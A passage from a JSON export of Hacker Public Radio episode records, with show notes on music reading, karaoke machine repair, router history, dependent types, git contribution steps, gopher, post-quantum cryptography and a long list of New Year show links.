                                                            Noise reduction applied\n\n\n","hostid":417,"series":57,"explicit":0,"license":"CC-BY-SA","tags":"Keyboards, Ducky, Razer, Red Dragon, Cherry, Kailh, MX, Keycaps, HyperX, Pudding","version":0,"downloads":0,"valid":1}, {"id":3792,"date":"2023-02-14","title":"Learning to read music, part one","duration":1404,"summary":"In which we learn to read music by going for a walk","notes":"

                                                            Although many people can create music easily enough on their\ncomputers, not as many can read the traditional stave-and-dots notation\nthat have been in use for hundreds of years.

                                                            \n

                                                            In less than half an hour, you can grasp the basics of reading music\nin a way that's as natural as putting one foot in front of the\nother.

                                                            \n

                                                            I'd advise either printing out the handout from https://enistello.info or\nhaving it on a screen you can see easily while outdoors. But it's not\nessential!

                                                            \n

                                                            Keep your eyes (and ears) peeled for part two of this series on\nHacker Public Radio, when I'll cover more complex rhythms and you'll\nlearn a lot more about pitch in written music.

                                                            \n

                                                            Handout and more information at:
                                                            \nhttps://enistello.info

                                                            \n

                                                            The book I mention in this episode is The Songlines, by Bruce\nChatwin, published in 1987, and available from all good bookshops. Don't\nbuy it from Amazon, it only encourages them.

                                                            \n","hostid":415,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"music,self-learning,auto-didactic","version":0,"downloads":0,"valid":1}, {"id":3793,"date":"2023-02-15","title":"RE: Zen_Floater2","duration":1127,"summary":"GOD probably will use a Chromebook.","notes":"
                                                            \n

                                                            Counter Point

                                                            \n

                                                            This show is a counter point to: hpr3754 :: GOD probably will use a Chromebook.\n

                                                            \n
                                                            \n\nMake\nsure no one is in the room with you before you play this and put your\nsecret hat on.\n
                                                              \n
                                                            • hpr3754:\nGOD probably will use a Chromebook.
                                                            • \n
                                                            • GNU World Order: Episode\n489 Cloud Services.
                                                            • \n
                                                            • samsung:\nGalaxy Chromebook Go.\n
                                                                \n
                                                              • samsung:\nGalaxy Chromebook Go 14inch, Silver, Wi-Fi.
                                                              • \n
                                                            • \n
                                                            • wikipedia:\nArtificial intelligence is intelligence—perceiving, synthesizing, and\ninferring information—demonstrated by machines, as opposed to\nintelligence displayed by non-human animals and humans.
                                                            • \n
                                                            • wikipedia: In\nmonotheistic thought, God is usually viewed as the supreme being,\ncreator, and principal object of faith. God is typically conceived as\nbeing omnipotent, omniscient, omnipresent, and omnibenevolent, as well\nas having an eternal and necessary existence.
                                                            • \n
                                                            • wikipedia:\nIn economics and industrial design, planned obsolescence (also called\nbuilt-in obsolescence or premature obsolescence) is a policy of planning\nor designing a product with an artificially limited useful life or a\npurposely frail design, so that it becomes obsolete after a certain\npre-determined period of time upon which it decrementally functions or\nsuddenly ceases to function, or might be perceived as\nunfashionable.
                                                            • \n
                                                            • wikipedia:\nEugenics. In the decades following World War II, with more emphasis on\nhuman rights, many countries began to abandon eugenics policies,\nalthough some Western countries (the United States, Canada, and Sweden\namong them) continued to carry out forced sterilizations.
                                                            • \n
                                                            \n","hostid":391,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Tin hat, chrome book, Artificial intelligence","version":0,"downloads":0,"valid":1}, {"id":3794,"date":"2023-02-16","title":"Retro Karaoke machine restored","duration":491,"summary":"I fix the cassette tape mechanism to a resale shop karaoke machine","notes":"

                                                            ENTEX Electronics Electronic Singing Machine.
                                                            \nKaraoke Model No. 1820. Entex Electronics Inc. Made in Taiwan. Late\n1970s early 1980s.
                                                            \nIt incorporates an 8-Track Player and Cassette Tape Recorder.
                                                            \nIt also uses the Bucket Brigade Device Echo (BBD ECHO) Power is supplied\nby
                                                            \nAC 120 Volts. It also uses 10 D cell batteries, or alternatively 12-15\nvolts DC.

                                                            \n

                                                            ENTEX\nElectronics Electronic Singing Machine

                                                            \n

                                                            Entex\nElectronics Handheld Games on the Internet Archive

                                                            \n


                                                            \nBelts

                                                            \n

                                                            Square\nCassette Tape Machine Recorder Rubber Belt

                                                            \n

                                                            Cassette\nRecorder Repair Maintenance Mix Flat Cassette Tape Machine Rubber Belts\n(Width 4MM)

                                                            \n


                                                            \nUSB Soundcard

                                                            \n

                                                            48KHz/44.1KHz sampling rate with 16-Bit Resolution.

                                                            \n

                                                            SABRENT\nAluminum USB External Stereo Sound Adapter

                                                            \n


                                                            \nFree Music Archive

                                                            \n

                                                            Cyborg,\nLost by Modern Monster

                                                            \n


                                                            \nPictures
                                                            \nThe images are thumbnails. Click on each to see the\nfull-sized picture.

                                                            \n

                                                            8 Track side
                                                            \n

                                                            \n

                                                            Cassette tape side
                                                            \n

                                                            \n

                                                            Initial condition of the cassette player
                                                            \n

                                                            \n

                                                            Back of the player
                                                            \n

                                                            \n

                                                            Player with the cassette cover removed
                                                            \n

                                                            \n

                                                            Connecting rod for the cassette player
                                                            \n

                                                            \n

                                                            Cassette pulley system
                                                            \n

                                                            \n

                                                            Line out
                                                            \n

                                                            \n

                                                            Analog audio capture

                                                            \n
                                                            arecord -L\n - Find device to use\n - This works for finding the microphone input or the USB external sound card\n\nSoundcard\nsysdefault:CARD=Device\n    USB Audio Device, USB Audio\n    Default Audio Device
                                                            \n

                                                            captureTheFlac.sh

                                                            \n
                                                            file=dump'_'$(date +%F_%H-%M-%S)'_Sabrent_soundcard_in'.flac\n\narecord --device='sysdefault:CARD=Device' --rate=96000 --channels=2 --vumeter=stereo\nsysdefault:CARD=Device --duration=300 --format=dat --file-type wav - | flac - -o $file
                                                            \n","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"retro, karaoke, 8-track, cassette tape, Free Music Archive","version":0,"downloads":0,"valid":1}, {"id":3795,"date":"2023-02-17","title":"2022-2023 New Years Show Episode 1","duration":5022,"summary":"2022 - 2023 new years show where people come together and chat the year away ","notes":"

                                                            Episode #1

                                                            \n

                                                            Welcome to the 11th Annual Hacker Public Radio show. It is December\nthe 31st 2022 and the time is 10 hundred hours UTC. We start the show by\nsending Greetings to Christmas Island/Kiribati and Samoa Kiritimati,\nApia. Chatting with Honkey, Mordancy, Joe, Ken, and others

                                                            \n

                                                            Discussed: pi hole, podman, RPIs, Pfsense, and netminers new micro\npc

                                                            \n

                                                            Introduction by Ken\nand Honkey.

                                                            \n
                                                              \n
                                                            • History:\nThe New Years Celebrations.\n
                                                                \n
                                                              • Civilizations around the world have been celebrating the start of\neach new year for at least four millennia. Today, most New Year’s\nfestivities begin on December 31 (New Year’s Eve), the last day of the\nGregorian calendar, and continue into the early hours of January 1 (New\nYear’s Day).
                                                              • \n
                                                            • \n
                                                            • HPR: So\nyou want to do a podcast?\n
                                                                \n
                                                              • Wikihow:\nHow to make a good podcast.
                                                              • \n
                                                            • \n
                                                            • Death Wish Coffee\n
                                                                \n
                                                              • We lead with an alternative point of view, providing bold, smooth\ncups of coffee to our people. We find fresh ways to enjoy coffee, and we\nfoster community along the way. Disrupting the status quo interests us,\nso we create edgy, sarcastic content. We live to rebel against blah\nbeans—and a boring, lackluster life.
                                                              • \n
                                                            • \n
                                                            • Thailand Elephant\nSanctuary
                                                            • \n
                                                            • VLC\ncommandline: List of commands and arguments.\n
                                                            • \n
                                                            • Hearse\nClub\n
                                                                \n
                                                              • youtube:\nMotorWeek Over the Edge: Hearse Convention.
                                                              • \n
                                                            • \n
                                                            • xiph: The Ogg container format.\n
                                                                \n
                                                              • Ogg is a multimedia container format, and the native file and stream\nformat for the Xiph.org multimedia codecs. As with all Xiph.org\ntechnology is it an open format free for anyone to use.
                                                              • \n
                                                              • Library\nof Congress: .ogg file format.
                                                              • \n
                                                            • \n
                                                            • Wikipedia: .mp3 file\nformat.
                                                            • \n
                                                            • xiph: .flac file\nformat.\n
                                                                \n
                                                              • FLAC stands for Free Lossless Audio Codec, an audio format similar\nto MP3, but lossless, meaning that audio is compressed in FLAC without\nany loss in quality. This is similar to how Zip works, except with FLAC\nyou will get much better compression because it is designed specifically\nfor audio, and you can play back compressed FLAC files in your favorite\nplayer (or your car or home stereo, see supported devices) just like you\nwould an MP3 file.
                                                              • \n
                                                              • Wikipedia: .flac\nfile format.
                                                              • \n
                                                            • \n
                                                            • elephantguide:\nHow Much Can An Elephant Lift?
                                                            • \n
                                                            • Royal\nThai Embassy: Thailand’s wild tiger population shows impressive\ngrowth.\n
                                                                \n
                                                              • bangkokpost:\nThailand has highest number of wild tigers in Southeast Asia.
                                                              • \n
                                                            • \n
                                                            • mumble: Mumble is a free,\nopen source, low latency, high quality voice chat application.
                                                            • \n
                                                            • atpinc:\nWhat is M.2? Keys and Sockets Explained.
                                                            • \n
                                                            • armbian: Linux for ARM\ndevelopment boards.
                                                            • \n
                                                            • pine64:\nROCK64 is a credit card sized Single Board Computer.
                                                            • \n
                                                            • docker:\nrealies/nicotine.
                                                            • \n
                                                            • kubuntu:\n
                                                                \n
                                                              • Kubuntu is a free, complete, and open-source alternative to\nMicrosoft Windows and Mac OS X which contains everything you need to\nwork, play, or share. Check out the Feature Tour if you would like to\nlearn more!
                                                              • \n
                                                            • \n
                                                            • podman:\n
                                                                \n
                                                              • Podman is a daemonless container engine for developing, managing,\nand running OCI Containers on your Linux System.
                                                              • \n
                                                            • \n
                                                            • docker:\n
                                                                \n
                                                              • A\ncontainer is a standard unit of software that packages up code and\nall its dependencies so the application runs quickly and reliably from\none computing environment to another. A Docker container image is a\nlightweight, standalone, executable package of software that includes\neverything needed to run an application: code, runtime, system tools,\nsystem libraries and settings.
                                                              • \n
                                                              • Containers\nand VMs Together?
                                                              • \n
                                                            • \n
                                                            • cockpit: Cockpit is a\nweb-based graphical interface for servers, intended for everyone.\n
                                                                \n
                                                              • manage\nvirtual machines in Cockpit.
                                                              • \n
                                                            • \n
                                                            • etherpad: big boy show\nnotes.
                                                            • \n
                                                            • redhat:\nTransitioning from Docker to Podman.
                                                            • \n
                                                            • lugcast: We are an open\nPodcast/LUG that meets every first and third Friday of every month using\nmumble.
                                                            • \n
                                                            • [logitech:](https://www.logitech\nG435 Ultra-light Wireless Bluetooth Gaming Headset.
                                                            • \n
                                                            • fit\nphilosophy: Junk volume.\n
                                                                \n
                                                              • \"Junk volume\" refers to exercise that doesn't improve strength or\nbuild muscle, wasting your time and energy.
                                                              • \n
                                                              • Leg day\nworkout
                                                              • \n
                                                            • \n
                                                            • jitsi: Jitsi Free &\nOpen Source Video Conferencing Projects.
                                                            • \n
                                                            • mintCast The podcast by the\nLinux Mint community for all users of Linux.
                                                            • \n
                                                            • The Linux link tech show The\nLinux Link Tech Show is one of the longest running Linux podcasts in the\nworld.
                                                            • \n
                                                            • PETG 3D\nPrinting Filament.
                                                            • \n
                                                            • MIM-104\nPatriot\n
                                                                \n
                                                              • military-today\nThe Patriot is a long-range air defense missile system.
                                                              • \n
                                                            • \n
                                                            • samsclub:
                                                            • \n
                                                            • rancher:\n
                                                            • \n
                                                            • raspberrypi single board\ncomputers.
                                                            • \n
                                                            • pfsense: pfSense is a\nfirewall/router computer software distribution based on FreeBSD.
                                                            • \n
                                                            • snort:\n
                                                                \n
                                                              • Snort is the foremost Open Source Intrusion Prevention System (IPS)\nin the world. Snort IPS uses a series of rules that help define\nmalicious network activity and uses those rules to find packets that\nmatch against them and generates alerts for users.
                                                              • \n
                                                              • Snort can be deployed inline to stop these packets, as well. Snort\nhas three primary uses: As a packet sniffer like tcpdump, as a packet\nlogger — which is useful for network traffic debugging, or it can be\nused as a full-blown network intrusion prevention system. Snort can be\ndownloaded and configured for personal and business use alike.
                                                              • \n
                                                            • \n
                                                            • pi-hole:\n
                                                                \n
                                                              • In addition to blocking advertisements, Pi-hole has an informative\nWeb interface that shows stats on all the domains being queried on your\nnetwork.
                                                              • \n
                                                            • \n
                                                            • nlnetlabs:\nUnbound Unbound is a validating, recursive, caching DNS resolver. It\nis designed to be fast and lean and incorporates modern features based\non open standards.
                                                            • \n
                                                            • DHCP\nserver
                                                            • \n
                                                            • dietpi: DietPi is an extremely\nlightweight Debian OS, highly optimised for minimal CPU and RAM resource\nusage, ensuring your SBC always runs at its maximum potential.
                                                            • \n
                                                            • servethehome:\nProject Tiny Mini Micro, cool 1 liter pc builds.
                                                            • \n
                                                            • filezilla: The\nFileZilla Client supports FTP, FTP over TLS (FTPS), and SFTP.
                                                            • \n
                                                            • redhat:\nConfigure a Network Team Using the Text User Interface,\nnmtui.
                                                            • \n
                                                            • howtogeek:\nManage Linux Wi-Fi Networks With Nmtui.
                                                            • \n
                                                            • travelcodex:\nThe Southwest Airlines Meltdown.
                                                            • \n
                                                            • gpd
                                                            • \n
                                                            • kickstarter:\nArduboy, the game system the size of a credit card.
                                                            • \n
                                                            • pine64:\nPinetab 2.
                                                            • \n
                                                            • orangepi:\nOrange Pi 800, Mini PC in a keyboard.
                                                            • \n
                                                            • southeastlinuxfest:\nThe SouthEast LinuxFest is a community event for anyone who wants to\nlearn more about Linux and Open Source Software.
                                                            • \n
                                                            • fosdem: FOSDEM is a free\nevent for software developers to meet, share ideas and collaborate.
                                                            • \n
                                                            • stallman: Richard Stallman's\nPersonal Site.
                                                            • \n
                                                            • freedos: FreeDOS is a\ncomplete, free, DOS-compatible operating system. While we provide some\nutilities, you should be able to run any program intended for\nMS-DOS.
                                                            • \n
                                                            • reactos: Imagine running your\nfavorite Windows applications and drivers in an open-source environment\nyou can trust.
                                                            • \n
                                                            • wikipedia:\nWindows 3.0.
                                                            • \n
                                                            • winehq: a compatibility layer\ncapable of running Windows applications on several POSIX-compliant\noperating systems, such as Linux, macOS, & BSD.
                                                            • \n
                                                            • codeweavers:
                                                            • \n
                                                            • playonlinux:\nPlayOnLinux is a piece of software which allows you to easily install\nand use numerous games and apps designed to run with Microsoft®\nWindows®.
                                                            • \n
                                                            • protondb: Proton is a new\ntool released by Valve Software that has been integrated with Steam Play\nto make playing Windows games on Linux as simple as hitting the Play\nbutton within Steam.
                                                            • \n
                                                            • libreoffice: LibreOffice\nis a free and powerful office suite.
                                                            • \n
                                                            • linuxmint: Linux Mint is a\ncommunity-driven Linux distribution based on Ubuntu, bundled with a\nvariety of free and open-source applications.
                                                            • \n
                                                            • xfce: Xfce or XFCE is a free and\nopen-source desktop environment for Linux and other Unix-like operating\nsystems.
                                                            • \n
                                                            • crunchbang: CrunchBang was a\nDebian GNU/Linux based distribution offering a great blend of speed,\nstyle and substance.
                                                            • \n
                                                            • openbox:
                                                            • \n
                                                            • gnome:
                                                            • \n
                                                            • mozilla:\nfirefox
                                                            • \n
                                                            • google\nchrome
                                                            • \n
                                                            • AMD
                                                            • \n
                                                            • autism
                                                            • \n
                                                            • toastmasters\nToastmasters International is a nonprofit educational organization that\nteaches public speaking and leadership skills through a worldwide\nnetwork of clubs.
                                                            • \n
                                                            • openssl
                                                            • \n
                                                            • Asperger\nsyndrome
                                                            • \n
                                                            • STEM
                                                            • \n
                                                            • BASIC BASIC\n(Beginners' All-purpose Symbolic Instruction Code) is a family of\ngeneral-purpose, high-level programming languages designed for ease of\nuse. The original version was created by John G. Kemeny and Thomas E.\nKurtz at Dartmouth College in 1963.
                                                            • \n
                                                            • IRC IRC\nis short for Internet Relay Chat. It is a popular chat service still in\nuse today.
                                                            • \n
                                                            • second life
                                                            • \n
                                                            • walmart
                                                            • \n
                                                            • aldi
                                                            • \n
                                                            • morrisons
                                                            • \n
                                                            • boots
                                                            • \n
                                                            • walgreens
                                                            • \n
                                                            • zulu\nclock
                                                            • \n
                                                            \n

                                                            Thanks To:
                                                            \nMumble Server: Delwin
                                                            \nHPR Site/VPS: Joshua Knapp - AnHonestHost.com
                                                            \nStreams: Honkeymagoo
                                                            \nEtherPad: HonkeyMagoo
                                                            \nShownotes by: Sgoti and hplovecraft

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"hpr,new years,community","version":0,"downloads":0,"valid":1}, {"id":3796,"date":"2023-02-20","title":"Dependent Types","duration":508,"summary":"A quick taste of programming with dependent types","notes":"

                                                            I discuss dependent types, which are types that can contain non-type\nprograms. An example of a dependent type is a list whose type contains\nits length. Instead of just writing List<String> for\na list that contains strings, dependent types include types like\nList<String, 5> that describe lists of exactly five\nstrings. Dependent types can also be used to represent mathematics, in\nwhich case the programs that they describe count as proofs, and tools\nfrom programming can be used to write math.

                                                            \n

                                                            Dependent types used to be something that really required a research\nbackground, but there has been a lot of progress on making them more\nuser-friendly and on writing accessible introductions lately.

                                                            \n

                                                            Languages mentioned:

                                                            \n
                                                              \n
                                                            • Idris is a self-hosted\ndependently typed language with type-level resource tracking
                                                            • \n
                                                            • Agda\nis a testbed for new ideas in dependently typed programming
                                                            • \n
                                                            • Lean 4 is a self-hosted\ndependently typed language that has a more conservative logical core\nthan Idris or Agda, and attempts to appeal more to practicing\nmathematicians.
                                                            • \n
                                                            • Coq is a proof assistant based\non dependent types that has been used to fully mathematically verify a C\ncompiler
                                                            • \n
                                                            \n

                                                            Books mentioned:

                                                            \n
                                                              \n
                                                            • The Little Typer, by\nDaniel P. Friedman and David Thrane Christiansen is an intro to the core\nideas of dependent types, in dialog form
                                                            • \n
                                                            • Type\nDriven Development with Idris by Edwin Brady, the creator of Idris,\ndescribes an approach to programming that uses expressive types as a way\nto make programmers' lives easier
                                                            • \n
                                                            • Programming Language Foundations\nin Agda by Phil Wadler, Wen Kokke, and Jeremy Siek describes the use\nof Agda for both programming and proving
                                                            • \n
                                                            • Software\nFoundations is a series of books that use Coq as an introduction to\nmathematically rigorous software development in a proof assistant. It's\nhow I initially learned these topics!
                                                            • \n
                                                            \n","hostid":418,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"types, math, programming languages, functional programming","version":0,"downloads":0,"valid":1}, {"id":3797,"date":"2023-02-21","title":"How to submit changes to HPR","duration":1895,"summary":"rho_n shows Ken how to submit changes to the new HPR static site.","notes":"

                                                            \nHPR is switching to a static site and in today's show Rho`n explains to Ken how to submit changes to the code.\n

                                                            \n
                                                            \n\n[user@pc fix]$ git clone gitea@repo.anhonesthost.net:HPR/hpr_generator.git\n[user@pc fix]$ cd hpr_generator/\n[user@pc hpr_generator]$ git status\n[user@pc hpr_generator]$ git checkout -b I70_Fix_links_to_audio\n\n
                                                            \n

                                                            \nEdit the files. Once complete:

                                                            \n
                                                            \n\n[user@pc hpr_generator]$ git add file/to/commit\n[user@pc hpr_generator]$ git commit\n[user@pc hpr_generator]$ git push origin I70_Fix_links_to_audio\n\n
                                                            \n

                                                            \nYou can now login to the HPR/hpr_generator git repo and you should be able to see several branches.
                                                            \nNext to your branch you can press New Pull Request
                                                            \n\"The
                                                            \nReview your changes and if you're happy press the green New Pull Request
                                                            \nFill in the description and a detailed comment
                                                            \nUse the HPR convention [<issue number>] <brief_description> The brief description is usually based on the title of the issue
                                                            \nWhen Create Pull Request
                                                            \n

                                                            \n\n

                                                            To switch back to the main branch

                                                            \n\n
                                                            \n$ git checkout main\nSwitched to branch 'main'\nYour branch is up to date with 'origin/main'.\n
                                                            \n\n

                                                            To delete the branch locally

                                                            \n\n
                                                            \n$ git branch -D I70_Fix_links_to_audio\nDeleted branch I70_Fix_links_to_audio (was 280ece7).\n
                                                            \n\n

                                                            \nFor more Developer Information see Project Principles\n

                                                            \n\n

                                                            \nIn order to contribute you need to create an account, but you also need to notify the admins@hpr either via email, mastodon, or matrix that you have created an account. Due to the level of spam accounts we need to approve each one by one.

                                                            \n\n

                                                            \nFull show notes are available.\n

                                                            \n\n","hostid":30,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"git,hpr,code,pull request","version":0,"downloads":0,"valid":1}, {"id":3798,"date":"2023-02-22","title":"Laptop Second SSD MXLinux Install","duration":749,"summary":"Overcoming UEFI and Windows 10 to Install MXLinux 21.3 on a 2021 Asus Laptop 2nd SSD drive","notes":"

                                                            I forgot to mention the power consumption was very good, seemingly\nbetter than windows 10. That's a big bonus.

                                                            \n

                                                            On the website it said that the XFCE AHS release is not out yet. It\nwould probably work better on my device.

                                                            \n

                                                            https://distrowatch.com/table.php?distribution=mx

                                                            \n

                                                            Screenshot 2023-02-14 15:50:31
                                                            \n
                                                            Click\nthe thumbnail to see the full-sized image

                                                            \n\nEdit: Ken Original summary was \"Overcoming f****g UEFI and Windows 10 to Install MXLinux 21.3 on a 2021 Asus Laptop 2nd SSD drive\" - as per policy\n","hostid":401,"series":57,"explicit":1,"license":"CC-BY-SA","tags":"distrohopping,distros,linux,GNU,MXLinux","version":0,"downloads":0,"valid":1}, {"id":3799,"date":"2023-02-23","title":"My home router history","duration":1921,"summary":"Recent router maintenance makes me remember all the fun I've had with my home network router","notes":"

                                                            Router History

                                                            \n

                                                            Early Dialup

                                                            \n
                                                              \n
                                                            • Connection sharing
                                                            • \n
                                                            \n

                                                            DSL/Cable

                                                            \n
                                                              \n
                                                            • Linux PC with 2 NIC
                                                            • \n
                                                            • Set up IP masquerading
                                                            • \n
                                                            • Windows connection sharing
                                                            • \n
                                                            • This may have been against TOS
                                                            • \n
                                                            • $50 EBay PC
                                                            • \n
                                                            • Mandrake MNF
                                                            • \n
                                                            \n

                                                            Found a PC on the Street

                                                            \n
                                                              \n
                                                            • IPCop
                                                            • \n
                                                            • Infrequently updated
                                                            • \n
                                                            • No updates required or abandoned?
                                                            • \n
                                                            \n

                                                            OpenBSD

                                                            \n
                                                              \n
                                                            • Reputation for Security
                                                            • \n
                                                            • Something New
                                                            • \n
                                                            • Good instructions for setting up home office.
                                                            • \n
                                                            • Manual but straightforward
                                                            • \n
                                                            \n

                                                            WRT-54gl with tomato

                                                            \n
                                                              \n
                                                            • Linksys router sold specifically to run Linux
                                                            • \n
                                                            • Purchased to be AP
                                                            • \n
                                                            • Junk PC hardware failures - PSU or IDE disks
                                                            • \n
                                                            • Frequently used as backup.
                                                            • \n
                                                            \n

                                                            PCEngines Alix

                                                            \n
                                                              \n
                                                            • Basically a PC in a router form factor
                                                            • \n
                                                            • Serial port - NO VGA
                                                            • \n
                                                            • No USB boot - Had to set up PXE boot tftp server.
                                                            • \n
                                                            • Install OpenBSD
                                                            • \n
                                                            • No Video out - Serial port only
                                                            • \n
                                                            • Expensive for specs - 500MHz AMD CPU and 256M Ram
                                                            • \n
                                                            \n

                                                            Alix Limitations

                                                            \n
                                                              \n
                                                            • Worked great for a few years
                                                            • \n
                                                            • Compact Flash limited replacements.
                                                            • \n
                                                            • 100M Ethernet
                                                            • \n
                                                            • Found Spare on EBay as Backup, just in case.
                                                            • \n
                                                            \n

                                                            PCEngines APU2

                                                            \n
                                                              \n
                                                            • Serial only
                                                            • \n
                                                            • OpenBSD 5.6 via USB drive
                                                            • \n
                                                            • 3 NIC - Lan, Trusted, Untrusted
                                                            • \n
                                                            • Unifi AP for WiFi
                                                            • \n
                                                            \n

                                                            First playbook

                                                            \n
                                                              \n
                                                            • Missing some easy management\n
                                                                \n
                                                              • Local DNS
                                                              • \n
                                                              • DHCP Reservations
                                                              • \n
                                                            • \n
                                                            • http://hackerpublicradio.org/eps.php?id=3187\n
                                                                \n
                                                              • CSV file with IP,MAC, Hostname
                                                              • \n
                                                              • DHCP reservation and local DNS
                                                              • \n
                                                            • \n
                                                            \n

                                                            Restricting Internet

                                                            \n
                                                              \n
                                                            • Open DNS and port redirects
                                                            • \n
                                                            • Unbound included on OpenBSD base\n
                                                                \n
                                                              • Caching DNS resolver
                                                              • \n
                                                              • Forward to Open DNS - Set to do some content filtering
                                                              • \n
                                                              • PF rule to redirect all incoming port 53 to unbound
                                                              • \n
                                                            • \n
                                                            • PF scripts\n
                                                                \n
                                                              • PF table with IP addresses of devices
                                                              • \n
                                                              • Table always blocked
                                                              • \n
                                                              • cron jobs to add/remove IP addresses to table
                                                              • \n
                                                            • \n
                                                            \n

                                                            APU2 limitations

                                                            \n
                                                              \n
                                                            • Installer Recommends Auto partitioning\n
                                                                \n
                                                              • Doesn't know how you plan to use OpenBSD
                                                              • \n
                                                              • Doesn't know the future plans for project.
                                                              • \n
                                                            • \n
                                                            • 16G msata drive
                                                            • \n
                                                            • Small /usr
                                                            • \n
                                                            • Re-linking growth
                                                            • \n
                                                            • Moving src partitions
                                                            • \n
                                                            \n

                                                            PCEngines APU2

                                                            \n
                                                              \n
                                                            • Search /etc for changes
                                                            • \n
                                                            • Ansible Playbook for everything not covered by DNS/DHCP playbook\n
                                                                \n
                                                              • email forwarding
                                                              • \n
                                                              • sysctls
                                                              • \n
                                                              • syslog to server
                                                              • \n
                                                            • \n
                                                            • Practice on OpenBSD VM\n
                                                                \n
                                                              • 198.168 172.20 as variable
                                                              • \n
                                                              • Normally with VM, I use the VirtIO NIC
                                                              • \n
                                                              • I used vitalized Intel NIC so same device names: em0, em1, ...
                                                              • \n
                                                            • \n
                                                            \n

                                                            Just Do It

                                                            \n
                                                              \n
                                                            • Update APU firmware - TODO retails\n
                                                                \n
                                                              • /usr/local/share/doc/pkg-readmes/flashrom
                                                              • \n
                                                            • \n
                                                            • Warned family internet would be offline a few hours
                                                            • \n
                                                            • Replaced M2 Sata card with 120
                                                            • \n
                                                            • It worked the first time
                                                            • \n
                                                            \n

                                                            Links

                                                            \n
                                                              \n
                                                            • https://www.ipcop.org/index_php.html
                                                            • \n
                                                            • https://www.pcengines.ch/alix2d3.htm
                                                            • \n
                                                            • https://pcengines.ch/apu2.htm
                                                            • \n
                                                            • https://pcengines.ch/howto.htm#OS_installation
                                                            • \n
                                                            • https://www.openbsd.org/faq/pf/example1.html
                                                            • \n
                                                            \n","hostid":342,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"openbsd, ansible, router","version":0,"downloads":0,"valid":1}, {"id":3800,"date":"2023-02-24","title":"NIST Quantum Cryptography Update 20221008","duration":928,"summary":"An update on the preparations for quantum computing","notes":"

                                                            The process NIST initiated in 2016 continues as it looks for\nencryption algorithms that will be secure against the anticipated\narrival of practical quantum computing. In this update I report on the\nfirst 4 Candidates to be Standardized, and the timeline for completion.\nIt is coming faster than you may have realized.

                                                            \n

                                                            Links:

                                                            \n\n","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"NIST, Encryption, quantum computing","version":0,"downloads":0,"valid":1}, {"id":3801,"date":"2023-02-27","title":"Enter the gopher","duration":822,"summary":"Participating in the gopher internet protocol","notes":"

                                                            If you would like to talk about gopher on Mastodon, I'm\n@screwtape@mastodon.sdf.org (and I have a weekly aNONradio\nshow about gopher)

                                                            \n\n
                                                                $ ssh username@tty.sdf.org # Following sdf.org 's instructions\n    $ # Some good gophers to browse\n    $ lynx gopher://gopher.club\n    $ lynx gopher://tildeverse.org\n    $ lynx gopher://floodgap.com
                                                            \n\n","hostid":416,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"gopher,protocol,smolnet,tutorial,introduction,internet,retro","version":0,"downloads":0,"valid":1}, {"id":3802,"date":"2023-02-28","title":"Attack of the Squishmallow","duration":5809,"summary":"Rho`n records replacing the screen to a MacBook Pro","notes":"

                                                            Synopsis

                                                            \n\n

                                                            In this episode, Rho`n records his attempt to replace a broken MacBook Pro display. Content warning: May cause drowsiness—do not listen while driving or operating heavy machinery. On the other hand, it may be conducive to a good nap in which you drift off to sleep while listening to the introduction and wake up in time to hear how things turn out in the end.

                                                            \n\n

                                                            Production notes: The \"truncate silence\" audio effect in your audio editor is your friend. The original recording length was around 2 hrs and 15 minutes. After truncating the silence it was down to 1 hour and 36 minutes.

                                                            \n\n\n
                                                            \n
                                                            \n\t\"Laptop\n\t
                                                            \n
                                                            The MacBook Pro with the broken display removed.\n\tTo the left are they small plastic cups containg the screws\n\tand other small parts that were removed for dissembly.\n\t
                                                            \n
                                                            \n
                                                            \n \"New\n\t
                                                            \n
                                                            The new laptop display not completely removed from its packaging.
                                                            \n
                                                            \n
                                                            \n\t\"Repaired\n\t
                                                            \n
                                                            The repaired laptop booted to its login screen
                                                            \n
                                                            \n
                                                            \n\n

                                                            References

                                                            \n\n\n

                                                            Attribution

                                                            \n\n

                                                            The transition sound used between audio clips is found on freesound.org:\n
                                                            Name: Harp Transition Music Cue\n
                                                            Author: DanJFilms\n
                                                            License: Creative Commons Zero

                                                            \n\n","hostid":293,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"DIY, Macbook, Macbook Pro, pc repair, repair","version":0,"downloads":0,"valid":1}, {"id":3803,"date":"2023-03-01","title":"Chatbot hallucination","duration":407,"summary":"The inevitable show featuring a segment written by the chatbot ChatGPT.","notes":"

                                                            A simple case of \"garbage in, garbage out\", but it's interesting to\nsee it \"try\" to make sense.

                                                            \n

                                                            In this show, I asked ChatGPT to write me the script for an episode\nof Hacker Public Radio, and tried to confuse it. Then, some thoughts on\nchatGPT and these chatbots in general.

                                                            \n

                                                            References:

                                                            \n\n","hostid":399,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"chatgpt,\"artificial intelligence\"","version":0,"downloads":0,"valid":1}, {"id":3804,"date":"2023-03-02","title":"2022-2023 New Years Show Episode 2","duration":5224,"summary":"2022 - 2023 new years show where people come together and chat","notes":"

                                                            Episode #2

                                                            \n\n

                                                            Thanks To:
                                                            \nMumble Server: Delwin
                                                            \nHPR Site/VPS: Joshua Knapp - AnHonestHost.com
                                                            \nStreams: Honkeymagoo
                                                            \nEtherPad: HonkeyMagoo
                                                            \nShownotes by: Sgoti and hplovecraft

                                                            \n","hostid":159,"series":121,"explicit":1,"license":"CC-BY-SA","tags":"hpr,new years,community","version":0,"downloads":0,"valid":1}, {"id":3805,"date":"2023-03-03","title":"Document File Formats on Wikipedia","duration":736,"summary":"Document File Format - a continuation of Content Format","notes":"

                                                            Document File Format - a continuation of Content\nFormat

                                                            \n

                                                            Wikipedia - Document File\nFormats

                                                            \n

                                                            Creators of Markdown

                                                            \n

                                                            Wikipedia - John Gruber

                                                            \n

                                                            Wikipedia - Aaron Swartz

